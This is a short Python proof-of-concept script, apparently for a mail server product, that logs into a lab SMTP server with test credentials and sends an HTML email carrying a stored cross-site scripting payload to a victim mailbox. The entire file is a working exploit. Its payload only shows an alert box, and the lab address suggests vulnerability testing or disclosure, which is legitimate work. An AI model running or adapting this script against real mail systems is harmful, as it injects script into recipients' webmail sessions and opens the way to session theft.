ams-poc.py

#!/usr/bin/env python

import smtplib

email_addr = 'victim@test.local'

email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'

s = smtplib.SMTP('192.168.58.140', 25)

s.login(email_addr, "victim")
s.sendmail(email_addr, email_addr, email)
s.quit()